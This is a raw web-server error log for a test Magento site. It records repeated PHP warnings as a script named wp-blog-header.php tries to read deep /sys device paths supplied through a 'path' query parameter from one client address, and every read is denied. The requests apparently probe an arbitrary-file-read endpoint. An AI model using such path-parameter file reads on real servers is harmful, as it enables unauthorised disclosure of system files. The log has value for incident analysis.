[Thu Mar 26 12:03:41.130073 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ee
[Thu Mar 26 12:03:42.175653 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:fa
[Thu Mar 26 12:03:43.765494 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:03:44.871107 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/device:de/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/device:de/subsystem
[Thu Mar 26 12:03:46.575173 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:be
[Thu Mar 26 12:03:53.436916 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/drivers/ac
[Thu Mar 26 12:03:54.620230 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc
[Thu Mar 26 12:03:56.607860 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 12:03:58.764347 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 12:04:01.981734 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 12:04:02.539505 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:04:05.126314 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 12:04:05.701660 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/drivers/ac
[Thu Mar 26 12:04:06.786491 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:04:09.867806 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 12:04:14.271443 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:fc
[Thu Mar 26 12:04:14.811343 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:dc
[Thu Mar 26 12:04:15.422420 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ac
[Thu Mar 26 12:04:16.523396 2026] [php:warn] [pid 3106744] [client 74.7.241.26:60488] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:cc
[Thu Mar 26 12:04:23.448202 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:dd/device:de
[Thu Mar 26 12:04:26.035002 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/drivers/ac
[Thu Mar 26 12:04:27.568320 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 12:04:28.663380 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:da
[Thu Mar 26 12:04:30.767554 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/drivers/ec
[Thu Mar 26 12:04:32.892472 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ce
[Thu Mar 26 12:04:33.991697 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/drivers/ec
[Thu Mar 26 12:04:35.562456 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ec
[Thu Mar 26 12:04:40.937616 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 12:04:43.547228 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 12:04:45.678916 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/drivers/ac
[Thu Mar 26 12:04:50.930901 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ce
[Thu Mar 26 12:04:52.977727 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ec
[Thu Mar 26 12:04:55.170566 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:cc
[Thu Mar 26 12:04:57.734616 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers/ac
[Thu Mar 26 12:04:59.364003 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 12:05:00.398424 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:fe
[Thu Mar 26 12:05:02.540218 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:bc
[Thu Mar 26 12:05:07.921492 2026] [php:warn] [pid 3107099] [client 74.7.241.26:52240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ae
[Thu Mar 26 12:05:20.329834 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:bc
[Thu Mar 26 12:05:20.784985 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:aa
[Thu Mar 26 12:05:27.215250 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:bc
[Thu Mar 26 12:05:29.826949 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:05:34.506949 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:05:35.037457 2026] [php:warn] [pid 3117489] [client 74.7.241.26:49520] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fc
